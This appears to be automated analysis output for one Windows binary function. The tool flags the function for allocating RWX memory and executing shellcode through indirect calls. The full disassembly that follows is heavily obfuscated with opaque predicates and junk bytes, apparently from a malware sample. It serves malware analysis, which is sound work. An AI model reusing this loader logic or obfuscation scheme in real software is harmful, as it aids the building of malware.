Function at 0x14039ba20
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x50
movapd xmmword [rsp + 0x40], xmm6
mov rax, qword [0x140609000]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov edx, 0x40
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x14039bbce
movabs rax, 0xffffff8600000000
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
test eax, eax
je 0x14039bbeb
movabs rdi, 0xffffff8500000000
mov byte [rsp + 0x30], 1
mov eax, dword [rsp + 0x34]
lea r9, reloc.WS2_32.dll_htons
mov r8d, 0x40
mov rcx, rsi
xor edx, edx
call qword [r9 + rax*8]
call fcn.140398060
mov qword [rsi], rax
call fcn.140398d00
mov qword [rsi + 8], rax
call int.14038ecf0
mov qword [rsi + 0x38], rax
mov rcx, rsi
add rcx, 0x10
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
test eax, eax
je 0x14039c6c4
mov byte [rsp + 0x30], 1
mov eax, dword [rsp + 0x34]
lea r9, reloc.WS2_32.dll_htons
mov rcx, qword [rsi + 0x38]
lea r8, [0x140397c30]
mov edx, 1
call qword [r9 + rax*8]
movabs rax, 0xffffff8200000000
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
test eax, eax
je 0x14039d1a4
mov byte [rsp + 0x30], 1
mov eax, dword [rsp + 0x34]
lea rbx, reloc.WS2_32.dll_htons
mov rcx, qword [rsi + 0x38]
lea r8, [0x140397dc0]
mov edx, 2
call qword [rbx + rax*8]
movabs rax, 0xffffff8100000000
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
test eax, eax
je 0x14039dc84
mov byte [rsp + 0x30], 1
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsi + 0x38]
lea r8, [0x140397f00]
mov edx, 3
call qword [rbx + rax*8]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x24], 0
mov eax, dword [rsp + 0x24]
test eax, eax
je 0x14039e764
mov eax, dword [rsp + 0x34]
lea r9, reloc.WS2_32.dll_htons
mov rcx, qword [rsi + 0x38]
lea r8, [0x140398010]
mov edx, 5
call qword [r9 + rax*8]
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1403a4260
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x40]
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
movsd xmm0, qword [0x14057f8b8]
movsd xmm1, qword [0x14057f8b0]
movsd xmm2, qword [0x14057f8a8]
movsd xmm3, qword [0x14057f8a0]
jmp 0x14039bc8a
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
inc dword [rsp + 0x24]
mov eax, dword [rsp + 0x24]
test eax, eax
jne 0x14039ba84
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
add ecx, eax
cmp ecx, 3
je 0x14039be97
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039bcbc
add byte [rdi], cl
mov dh, 5
pop rcx
shl byte [rsi], cl
add byte [rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039bd42
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039bd97
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039bda8
add byte [rdi], cl
mov dh, 5
insd dword [rdi], dx
shl dword [rsi], 1
add byte [rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039be2d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039be81
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039c513
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*2]
cmp eax, 3
je 0x14039c0d2
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039bef7
add byte [rdi], cl
mov dh, 5
invalid
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039bf7d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039bfd2
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039bfe3
add byte [rdi], cl
mov dh, 5
xor cl, bh
add byte es:[rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039c068
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039c0bc
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea edx, [rcx + rcx*4]
lea ecx, [rcx + rdx*4]
add ecx, eax
cmp ecx, 3
je 0x14039c2e2
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039c107
add byte [rdi], cl
mov dh, 5
invalid
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039c18d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039c1e2
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039c1f3
add byte [rdi], cl
mov dh, 5
and cl, ch
add byte es:[rdi], cl
mov esi, 0xe4570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm1
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039c278
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039c2cc
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039c513
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff83
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039c32d
add byte [rdi], cl
mov dh, 5
call 0x14f39ea00
mov esi, 0xed570fc0
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039c3b0
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039c405
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
mov eax, dword [rsp + 0x24]
add eax, 0xffffff83
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
xor rax, rax
je 0x14039c424
add byte [rdi], cl
mov dh, 5
int1
retf 0x26
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm6, xmm6
cvtsi2sd xmm6, eax
addsd xmm6, xmm6
subsd xmm5, xmm6
mulsd xmm5, xmm4
movsd qword [rsp + 0x28], xmm5
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039c4a9
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039c4fd
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*8]
cmp eax, 3
je 0x14039bc7a
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039c546
add byte [rdi], cl
mov dh, 5
iretd
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039c5cc
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039c621
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039c632
add byte [rdi], cl
mov dh, 5
jrcxz 0x14039c5ff
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
add byte es:[rdi], cl
mov esi, 0xe4570fc0
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm0
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039bc10
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
je 0x14039bc10
jmp 0x14039bc64
movsd xmm0, qword [0x14057f8c0]
movsd xmm1, qword [0x14057f8b8]
movsd xmm2, qword [0x14057f8b0]
movsd xmm3, qword [0x14057f8a8]
jmp 0x14039c76a
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
inc dword [rsp + 0x24]
mov eax, dword [rsp + 0x24]
test eax, eax
jne 0x14039baed
invalid
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
add ecx, eax
cmp ecx, 3
je 0x14039c977
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039c79c
add byte [rdi], cl
mov dh, 5
jns 0x14039c768
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
add byte es:[rdi], cl
mov esi, 0xe4570fc0
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039c822
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039c877
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si r8d, xmm5
mov eax, dword [rsp + 0x24]
cdqe
mov r9d, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039c888
add byte [rdi], cl
mov dh, 5
invalid
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm3
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039c90d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov eax, 4
cmp edx, 3
jne 0x14039c961
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r10d, dl
xor edx, edx
div r10d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
sub eax, edx
xorps xmm5, xmm5
cvtsi2sd xmm5, rax
mulsd xmm5, xmm4
cvttsd2si eax, xmm5
and eax, r9d
add r8d, ecx
add eax, eax
sub r8d, eax
mov eax, dword [rsp + 0x24]
cdqe
mov dword [rsp + rax*4 + 0x34], r8d
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx ecx, byte [reloc.WS2_32.dll_htonl]
movsx ecx, cl
xor edx, edx
div ecx
movzx ecx, byte [reloc.WS2_32.dll_accept]
movsx ecx, cl
cmp eax, ecx
je 0x14039cff3
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx ecx, byte [0x1406101b0]
movsx ecx, cl
lea ecx, [rcx + rcx*2]
lea eax, [rax + rcx*2]
cmp eax, 3
je 0x14039cbb2
mov eax, dword [rsp + 0x24]
cdqe
mov ecx, dword [rsp + rax*4 + 0x34]
xor rax, rax
je 0x14039c9d7
add byte [rdi], cl
mov dh, 5
invalid
movzx eax, byte [reloc.WS2_32.dll_getsockopt]
movsx eax, al
xorps xmm4, xmm4
cvtsi2sd xmm4, eax
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
xorps xmm5, xmm5
cvtsi2sd xmm5, eax
addsd xmm5, xmm5
subsd xmm4, xmm5
mulsd xmm4, xmm2
movsd qword [rsp + 0x28], xmm4
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
div r8d
movzx edx, byte [reloc.WS2_32.dll_accept]
movsx edx, dl
cmp eax, edx
je 0x14039ca5d
movzx eax, byte [reloc.WS2_32.dll_closesocket]
movsx eax, al
movzx edx, byte [0x1406101b0]
movsx edx, dl
lea edx, [rdx + rdx*8]
lea edx, [rdx + rdx*2]
add edx, eax
mov r8d, 4
cmp edx, 3
jne 0x14039cab2
movzx eax, byte [reloc.WS2_32.dll_htons]
movzx eax, byte [reloc.WS2_32.dll_htonl]
movzx eax, byte [reloc.WS2_32.dll_accept]
movsd xmm4, qword [rsp + 0x28]
movzx eax, byte [reloc.WS2_32.dll_htons]
movsx eax, al
add eax, 7
movzx edx, byte [reloc.WS2_32.dll_htonl]
movsx r8d, dl
xor edx, edx
